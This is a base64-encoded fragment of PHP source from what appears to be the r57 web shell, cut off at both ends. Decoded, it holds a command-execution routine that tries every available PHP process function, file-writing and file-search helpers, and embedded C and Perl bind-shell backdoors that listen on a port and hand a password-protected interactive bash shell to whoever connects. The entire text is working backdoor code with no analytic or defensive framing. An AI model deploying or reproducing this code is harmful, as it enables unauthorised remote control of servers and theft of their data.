DQokciAuPSAiPC9UQUJMRT4iOw0KZWNobyAkcjsNCn0NCmVsc2UNCnsNCmVjaG8gIjxQIGFsaWdu PWNlbnRlcj48Qj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQ1NiddLiI8L0I+PC9mb250PjwvUD4iOw0KfQ0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2Vu dGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQ SFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYo ISRzYWZlX21vZGUgJiZzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7JHNhZmVf bW9kZSA9IDE7fQ0KJFNFUlZFUl9TT0ZUV0FSRSA9IGdldGVudignU0VSVkVSX1NPRlRXQVJFJyk7 DQppZihlbXB0eSgkU0VSVkVSX1NPRlRXQVJFKSl7JFNFUlZFUl9TT0ZUV0FSRSA9ICItIjt9DQpm dW5jdGlvbiB3cygkaSkNCnsNCnJldHVybiBAc3RyX3JlcGVhdCgiJm5ic3A7IiwkaSk7DQp9DQpm dW5jdGlvbiBleCgkY2ZlKQ0Kew0KJHJlcyA9ICcnOw0KaWYgKCFlbXB0eSgkY2ZlKSkNCnsNCmlm KEBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkNCnsNCkBleGVjKCRjZmUsJHJlcyk7DQokcmVzID0g am9pbigiXG4iLCRyZXMpOw0KfQ0KZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMn KSkNCnsNCiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCn0NCmVsc2VpZihAZnVuY3Rpb25fZXhp c3RzKCdzeXN0ZW0nKSkNCnsNCkBvYl9zdGFydCgpOw0KQHN5c3RlbSgkY2ZlKTsNCiRyZXMgPSBA b2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGZ1bmN0aW9u X2V4aXN0cygncGFzc3RocnUnKSkNCnsNCkBvYl9zdGFydCgpOw0KQHBhc3N0aHJ1KCRjZmUpOw0K JHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihA aXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCnsNCiRyZXMgPSAiIjsNCmlmKEBm dW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiZAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpew0Kd2hp bGUoIUBmZW9mKCRmKSkgeyRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpO30NCn1lbHNlIGlmKEBmdW5j dGlvbl9leGlzdHMoJ2ZnZXRzJykgJiZAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpew0Kd2hpbGUo IUBmZW9mKCRmKSkgeyRyZXMgLj0gQGZnZXRzKCRmLDEwMjQpO30NCn0NCkBwY2xvc2UoJGYpOw0K fQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwcm9jX29wZW4oJGNmZSxhcnJheSgxID0+YXJy YXkoInBpcGUiLCJ3IikpLCRwaXBlcykpKQ0Kew0KJHJlcyA9ICIiOw0KaWYoQGZ1bmN0aW9uX2V4 aXN0cygnZnJlYWQnKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7DQp3aGlsZSghQGZlb2Yo JHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZyZWFkKCRwaXBlc1sxXSwxMDI0KTt9DQp9ZWxzZSBpZihA ZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCndo aWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZmdldHMoJHBpcGVzWzFdLDEwMjQpO30N Cn0NCkBwcm9jX2Nsb3NlKCRmKTsNCn0NCmVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdwY250bF9l eGVjJykmJkBmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkNCnsNCiRyZXMgPSAnW35dIEJs aW5kIENvbW1hbmQgRXhlY3V0aW9uIHZpYSBbcGNudGxfZXhlY11cblxuJzsNCiRwaWQgPSBAcGNu dGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIHsNCiRyZXMgLj0gJ1stXSBDb3VsZCBub3QgY2hp bGRyZW4gZm9yay4gRXhpdCc7DQp9ZWxzZSBpZiAoJHBpZCkgew0KaWYgKEBwY250bF93aWZleGl0 ZWQoJHN0YXR1cykpeyRyZXMgLj0gJ1srXSBEb25lISBDb21tYW5kICInLiRjZmUuJyIgc3VjY2Vz c2Z1bGx5IGV4ZWN1dGVkLic7fQ0KZWxzZSB7JHJlcyAuPSAnWy1dIEVycm9yLiBDb21tYW5kIGlu Y29ycmVjdC4nO30NCn1lbHNlIHsNCiRjZmUgPSBhcnJheSgiIC1lICdzeXN0ZW0oXCIkY2ZlXCIp JyIpOw0KaWYoQHBjbnRsX2V4ZWMoJy91c3IvYmluL3BlcmwnLCRjZmUpKSBleGl0KDApOw0KaWYo QHBjbnRsX2V4ZWMoJy91c3IvbG9jYWwvYmluL3BlcmwnLCRjZmUpKSBleGl0KDApOw0KZGllKCk7 DQp9DQp9DQp9DQpyZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIGdldF91c2VycygkZmlsZW5hbWUp DQp7DQokdXNlcnMgPSBhcnJheSgpOw0KJHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmls ZW5hbWUpKTsNCmlmKCEkcm93cykgcmV0dXJuIDA7DQpmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5n KQ0Kew0KJHVzZXIgPSBAZXhwbG9kZSgiOiIsdHJpbSgkc3RyaW5nKSk7DQppZihzdWJzdHIoJHN0 cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsNCn0NCnJldHVybiAk dXNlcnM7DQp9DQpmdW5jdGlvbiBlcnIoJG4sJHR4dD0nJykNCnsNCmVjaG8gJzx0YWJsZSB3aWR0 aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9IzMzMzMz Mz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+ PGI+JzsNCmVjaG8gJEdMT0JBTFNbJ2xhbmcnXVskR0xPQkFMU1snbGFuZ3VhZ2UnXS4nX2Vycicu JG5dOw0KaWYoIWVtcHR5KCR0eHQpKSB7ZWNobyAiICR0eHQiO30NCmVjaG8gJzwvYj48L2Rpdj48 L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+JzsNCnJldHVybiBudWxsOw0KfQ0KZnVuY3Rpb24gcGVy bXMoJG1vZGUpDQp7DQppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOw0KaWYoICRtb2Rl ICYweDEwMDAgKSB7JHR5cGU9J3AnO30NCmVsc2UgaWYoICRtb2RlICYweDIwMDAgKSB7JHR5cGU9 J2MnO30NCmVsc2UgaWYoICRtb2RlICYweDQwMDAgKSB7JHR5cGU9J2QnO30NCmVsc2UgaWYoICRt b2RlICYweDYwMDAgKSB7JHR5cGU9J2InO30NCmVsc2UgaWYoICRtb2RlICYweDgwMDAgKSB7JHR5 cGU9Jy0nO30NCmVsc2UgaWYoICRtb2RlICYweEEwMDAgKSB7JHR5cGU9J2wnO30NCmVsc2UgaWYo ICRtb2RlICYweEMwMDAgKSB7JHR5cGU9J3MnO30NCmVsc2UgJHR5cGU9J3UnOw0KJG93bmVyWyJy ZWFkIl0gPSAoJG1vZGUgJjAwNDAwKSA/J3InOiAnLSc7DQokb3duZXJbIndyaXRlIl0gPSAoJG1v ZGUgJjAwMjAwKSA/J3cnOiAnLSc7DQokb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmMDAxMDAp ID8neCc6ICctJzsNCiRncm91cFsicmVhZCJdID0gKCRtb2RlICYwMDA0MCkgPydyJzogJy0nOw0K JGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYwMDAyMCkgPyd3JzogJy0nOw0KJGdyb3VwWyJleGVj dXRlIl0gPSAoJG1vZGUgJjAwMDEwKSA/J3gnOiAnLSc7DQokd29ybGRbInJlYWQiXSA9ICgkbW9k ZSAmMDAwMDQpID8ncic6ICctJzsNCiR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmMDAwMDIpID8n dyc6ICctJzsNCiR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYwMDAwMSkgPyd4JzogJy0nOw0K aWYoICRtb2RlICYweDgwMCApICRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsnZXhlY3V0ZSdd PT0neCcpID8ncyc6ICdTJzsNCmlmKCAkbW9kZSAmMHg0MDAgKSAkZ3JvdXBbImV4ZWN1dGUiXSA9 ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/J3MnOiAnUyc7DQppZiggJG1vZGUgJjB4MjAwICkg JHdvcmxkWyJleGVjdXRlIl0gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyd0JzogJ1QnOw0K JHM9c3ByaW50ZigiJTFzIiwkdHlwZSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwkb3duZXJb J3JlYWQnXSwkb3duZXJbJ3dyaXRlJ10sJG93bmVyWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYo IiUxcyUxcyUxcyIsJGdyb3VwWydyZWFkJ10sJGdyb3VwWyd3cml0ZSddLCRncm91cFsnZXhlY3V0 ZSddKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCR3b3JsZFsncmVhZCddLCR3b3JsZFsnd3Jp dGUnXSwkd29ybGRbJ2V4ZWN1dGUnXSk7DQpyZXR1cm4gdHJpbSgkcyk7DQp9DQpmdW5jdGlvbiBp bigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCkNCnsNCiRyZXQgPSAiPGlucHV0 IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7DQppZigkc2l6ZSAhPSAwKSB7JHJldCAu PSAic2l6ZT0iLiRzaXplLiIgIjt9DQokcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7DQpp ZigkY2hlY2tlZCkgJHJldCAuPSAiIGNoZWNrZWQiOw0KcmV0dXJuICRyZXQuIj4iOw0KfQ0KZnVu Y3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSAnJzsNCiRwYXRoID0gZXgoIndoaWNoICRwciIp Ow0KaWYoIWVtcHR5KCRwYXRoKSkge3JldHVybiAkcGF0aDt9ZWxzZSB7cmV0dXJuIGZhbHNlO30N Cn0NCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkNCnsNCiR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwi dyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykgb3IgZXJyKDApOw0K aWYoJHdfZmlsZSkNCnsNCkBmd3JpdGUoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpIG9y IEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSkgb3IgQGZpbGVfcHV0X2NvbnRl bnRzKCRmbmFtZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KQGZjbG9zZSgkd19maWxlKTsNCn0N Cn0NCmZ1bmN0aW9uIHNyKCRsLCR0MSwkdDIpDQp7DQpyZXR1cm4gIjx0ciBjbGFzcz10cjE+PHRk IGNsYXNzPXRkMSB3aWR0aD0iLiRsLiIlIGFsaWduPXJpZ2h0PiIuJHQxLiI8L3RkPjx0ZCBjbGFz cz10ZDEgYWxpZ249bGVmdD4iLiR0Mi4iPC90ZD48L3RyPiI7DQp9DQppZiAoIUBmdW5jdGlvbl9l eGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KaWYo JHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAq IDEwMCkgLyAxMDAgLiIgR0IiO30NCmVsc2VpZigkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSBA cm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuIiBNQiI7fQ0KZWxzZWlmKCRzaXpl ID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4iIEtC Ijt9DQplbHNlIHskc2l6ZSA9ICRzaXplIC4iIEIiO30NCnJldHVybiAkc2l6ZTsNCn0NCn0NCmZ1 bmN0aW9uIERpckZpbGVzUigkZGlyLCR0eXBlcz0nJykNCnsNCiRmaWxlcyA9IEFycmF5KCk7DQpp ZigoJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpKSB8fChAZnVuY3Rpb25fZXhpc3RzKCdzY2FuZGly JykpKQ0Kew0Kd2hpbGUgKChmYWxzZSAhPT0gKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpKSAm JihmYWxzZSAhPT0gKCRmaWxlID0gQHNjYW5kaXIoJGRpcikpKSkNCnsNCmlmICgkZmlsZSAhPSAi LiImJiRmaWxlICE9ICIuLiIpDQp7DQppZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkNCiRmaWxl cyA9IEBhcnJheV9tZXJnZSgkZmlsZXMsRGlyRmlsZXNSKCRkaXIuIi8iLiRmaWxlLCR0eXBlcykp Ow0KZWxzZQ0Kew0KJHBvcyA9IEBzdHJycG9zKCRmaWxlLCIuIik7DQokZXh0ID0gQHN1YnN0cigk ZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOw0KaWYoJHR5cGVzKQ0Kew0KaWYoQGluX2Fy cmF5KCRleHQsZXhwbG9kZSgnOycsJHR5cGVzKSkpDQokZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxl Ow0KfQ0KZWxzZQ0KJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCn0NCn0NCn0NCkBjbG9zZWRp cigkaGFuZGxlKTsNCn0NCnJldHVybiAkZmlsZXM7DQp9DQpjbGFzcyBTZWFyY2hSZXN1bHQNCnsN CnZhciAkdGV4dDsNCnZhciAkRmlsZXNUb1NlYXJjaDsNCnZhciAkUmVzdWx0RmlsZXM7DQp2YXIg JEZpbGVzVG90YWw7DQp2YXIgJE1hdGNoZXNDb3VudDsNCnZhciAkRmlsZU1hdHNjaGVzQ291bnQ7 DQp2YXIgJFRpbWVTdGFydDsNCnZhciAkVGltZVRvdGFsOw0KdmFyICR0aXRsZXM7DQpmdW5jdGlv biBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQ0Kew0KJGRpcnMgPSBAZXhwbG9k ZSgiOyIsJGRpcik7DQokdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEFycmF5KCk7DQpmb3IoJGE9MDsk YTxjb3VudCgkZGlycyk7JGErKykNCiR0aGlzLT5GaWxlc1RvU2VhcmNoID0gQGFycmF5X21lcmdl KCR0aGlzLT5GaWxlc1RvU2VhcmNoLERpckZpbGVzUigkZGlyc1skYV0sJGZpbHRlcikpOw0KJHRo aXMtPnRleHQgPSAkdGV4dDsNCiR0aGlzLT5GaWxlc1RvdGFsID0gQGNvdW50KCR0aGlzLT5GaWxl c1RvU2VhcmNoKTsNCiR0aGlzLT5UaW1lU3RhcnQgPSBnZXRtaWNyb3RpbWUoKTsNCiR0aGlzLT5N YXRjaGVzQ291bnQgPSAwOw0KJHRoaXMtPlJlc3VsdEZpbGVzID0gQXJyYXkoKTsNCiR0aGlzLT5G aWxlTWF0Y2hlc0NvdW50ID0gQXJyYXkoKTsNCiR0aGlzLT50aXRsZXMgPSBBcnJheSgpOw0KfQ0K ZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHtyZXR1cm4gJHRoaXMtPkZpbGVzVG90YWw7fQ0KZnVu Y3Rpb24gR2V0VGl0bGVzKCkge3JldHVybiAkdGhpcy0+dGl0bGVzO30NCmZ1bmN0aW9uIEdldFRp bWVUb3RhbCgpIHtyZXR1cm4gJHRoaXMtPlRpbWVUb3RhbDt9DQpmdW5jdGlvbiBHZXRNYXRjaGVz Q291bnQoKSB7cmV0dXJuICR0aGlzLT5NYXRjaGVzQ291bnQ7fQ0KZnVuY3Rpb24gR2V0RmlsZU1h dGNoZXNDb3VudCgpIHtyZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7fQ0KZnVuY3Rpb24g R2V0UmVzdWx0RmlsZXMoKSB7cmV0dXJuICR0aGlzLT5SZXN1bHRGaWxlczt9DQpmdW5jdGlvbiBT ZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7DQokcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMt PnRleHQpOw0KJGRlbGltID0gJ3wnOw0KaWYoJHBocmFzZSkNCmZvcmVhY2goJHFxIGFzICRrPT4k dikNCiRxcVska10gPSAnXGInLiR2LidcYic7DQokd29yZHMgPSAnKCcuQGltcGxvZGUoJGRlbGlt LCRxcSkuJyknOw0KJHBhdHRlcm4gPSAiLyIuJHdvcmRzLiIvIjsNCmlmKCEkY2FzZSkNCiRwYXR0 ZXJuIC49ICdpJzsNCmZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFt ZSkNCnsNCiR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOw0KJEZpbGVTdHJp bmdzID0gQGZpbGUoJGZpbGVuYW1lKSBvciBAbmV4dDsNCmZvcigkYT0wOyRhPEBjb3VudCgkRmls ZVN0cmluZ3MpOyRhKyspDQp7DQokY291bnQgPSAwOw0KJEN1clN0cmluZyA9ICRGaWxlU3RyaW5n c1skYV07DQokQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7DQokQ3VyU3RyaW5nID0gQHN0 cmlwX3RhZ3MoJEN1clN0cmluZyk7DQokYWEgPSAnJzsNCmlmKCgkY291bnQgPSBAcHJlZ19tYXRj aF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkNCnsNCiRDdXJTdHJpbmcgPSBAcHJlZ19y ZXBsYWNlKCRwYXR0ZXJuLCI8U1BBTiBzdHlsZT0nY29sb3I6ICM5OTAwMDA7Jz48Yj5cXDE8L2I+ PC9TUEFOPiIsJEN1clN0cmluZyk7DQokdGhpcy0+UmVzdWx0RmlsZXNbJGZpbGVuYW1lXVskYSsx XSA9ICRDdXJTdHJpbmc7DQokdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsNCiR0aGlzLT5G aWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gKz0gJGNvdW50Ow0KfQ0KfQ0KfQ0KJHRoaXMtPlRp bWVUb3RhbCA9IEByb3VuZChnZXRtaWNyb3RpbWUoKSAtJHRoaXMtPlRpbWVTdGFydCw0KTsNCn0N Cn0NCmZ1bmN0aW9uIGdldG1pY3JvdGltZSgpDQp7DQpsaXN0KCR1c2VjLCRzZWMpID0gQGV4cGxv ZGUoIiAiLEBtaWNyb3RpbWUoKSk7DQpyZXR1cm4gKChmbG9hdCkkdXNlYyArKGZsb2F0KSRzZWMp Ow0KfQ0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJI VmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1 amJIVmtaUw0KQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFX NHVhRDROQ2lOcGJtTnNkV1JsSUR4bGNuSnVieTVvUGcwS2FXNTBJRzFoYVc0b1lYSm5ZeXhoY21k MktRMEthVzUwSQ0KR0Z5WjJNN0RRcGphR0Z5SUNvcVlYSm5kanNOQ25zZ0lBMEtJR2x1ZENCemIy TnJabVFzSUc1bGQyWmtPdzBLSUdOb1lYSWdZblZtV3pNd1hUc05DaUJ6ZEhKMVkzUWdjMjlqYTJG a1pISmZhVzRnY21WdA0KYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJX OTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25R Z1BTQm9kRzl1Y3loaGRHOQ0KcEtHRnlaM1piTVYwcEtUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pI SXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG1aQ0E5SUhO dlkydGxkQ2hCUmw5SlRrVlVMRg0KTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclpt UXBJSEJsY25KdmNpZ2ljMjlqYTJWMElHVnljbTl5SWlrN0RRb2dZbWx1WkNoemIyTnJabVFzSUNo emRISjFZM1FnYzI5amEyRmtaSElnSw0KaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpX NG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJO bGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZw0KSUNCa2RYQXlLRzVsZDJaa0xEQXBPdzBLSUNBZ1pI VndNaWh1WlhkbVpDd3hLVHNOQ2lBZ0lHUjFjRElvYm1WM1ptUXNNaWs3RFFvZ0lDQjNjbWwwWlNo dVpYZG1aQ3dpVUdGemMzZHZjbVE2SWl3eE1Daw0KN0RRb2dJQ0J5WldGa0tHNWxkMlprTEdKMVpp eHphWHBsYjJZb1luVm1LU2s3RFFvZ0lDQnBaaUFvSVdOb2NHRnpjeWhoY21kMld6SmRMR0oxWmlr cERRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMg0KOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0pp WWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdW eWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZA0KMlprS1RzTkNpQWdmUTBLSUgwTkNu ME5DbWx1ZENCamFIQmhjM01vWTJoaGNpQXFZbUZ6WlN3Z1kyaGhjaUFxWlc1MFpYSmxaQ2tnZXcw S2FXNTBJR2s3RFFwbWIzSW9hVDB3TzJrOGMzUnliR1Z1S0dWdQ0KZEdWeVpXUXBPMmtyS3lrZ0RR cDdEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjYmljcERRcGxiblJsY21Wa1cybGRJRDBnSjF3 d0p6c2dEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjY2ljcERRcA0KbGJuUmxjbVZrVzJsZElE MGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhS MWNtNGdNRHNOQ24wPSI7DQovKiAmIzIyMDtTVCBTQVRJUklOIEtJUklMTUkmIzIyMjsgSEFMJiMy MjE7ICovDQovKg0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNp bmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQojaW5jbHVkZSA8 bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQppbnQgbWFpbihhcmdjLGFyZ3YpDQpp bnQgYXJnYzsNCmNoYXIgKiphcmd2Ow0KeyAgDQogaW50IHNvY2tmZCwgbmV3ZmQ7DQogY2hhciBi dWZbMzBdOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsg DQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25z KGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJf QU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNv Y2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2Nr YWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQog IHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBk dXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsNCiAgIHdyaXRlKG5ld2ZkLCJQYXNzd29y ZDoiLDEwKTsNCiAgIHJlYWQobmV3ZmQsYnVmLHNpemVvZihidWYpKTsNCiAgIGlmICghY2hwYXNz KGFyZ3ZbMl0sYnVmKSkNCiAgIHN5c3RlbSgiZWNobyB3ZWxjb21lIHRvIHI1NyBzaGVsbCAmJiAv YmluL2Jhc2ggLWkiKTsNCiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAg Y2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICpl bnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlm KGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0g PT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVk KSkNCnJldHVybiAwOw0KfQ0KDQoqLw0KDQokcG9ydF9iaW5kX2JkX3BsPSJJeUV2ZFhOeUwySnBi aTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2WW1GemFDQXRhU0k3RFFwcFppQW9RRUZTUjFZZ1BD QXhLU0I3SUdWNGFYUW9NU2s3SUgwTkNpUk1TDQpWTlVSVTVmVUU5U1ZEMGtRVkpIVmxzd1hUc05D blZ6WlNCVGIyTnJaWFE3RFFva2NISnZkRzlqYjJ3OVoyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamND Y3BPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzDQpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBi Mk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIy TnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWDQpUUlVGRVJGSXNNU2s3RFFwaWFXNWtL Rk1zYzI5amEyRmtaSEpmYVc0b0pFeEpVMVJGVGw5UVQxSlVMRWxPUVVSRVVsOUJUbGtwS1NCOGZD QmthV1VnSWtOaGJuUWdiM0JsYmlCd2IzSjBYRzRpT3cwS2JHDQpsemRHVnVLRk1zTXlrZ2ZId2da R2xsSUNKRFlXNTBJR3hwYzNSbGJpQndiM0owWEc0aU93MEtkMmhwYkdVb01Ta05DbnNOQ21Galky VndkQ2hEVDA1T0xGTXBPdzBLYVdZb0lTZ2tjR2xrUFdadmNtc3BLDQpRMEtldzBLWkdsbElDSkRZ VzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRp d2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpDQpPdzBLYjNCbGJpQlRW RVJGVWxJc0lqNG1RMDlPVGlJN0RRcGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1Ew OU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DbU5zYjNODQpsSUVOUFRrNDdE UXBsZUdsMElEQTdEUXA5RFFwOSI7DQoNCi8qICYjMjIwO1NUIFNBVElSSU4gS0lSSUxNSSYjMjIy OyBIQUwmIzIyMTsgKi8NCi8qDQoNCiMhL3Vzci9iaW4vcGVybA0KJFNIRUxMPSIvYmluL2Jhc2gg LWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQokTElTVEVOX1BPUlQ9JEFSR1ZbMF07 DQp1c2UgU29ja2V0Ow0KJHByb3RvY29sPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChT 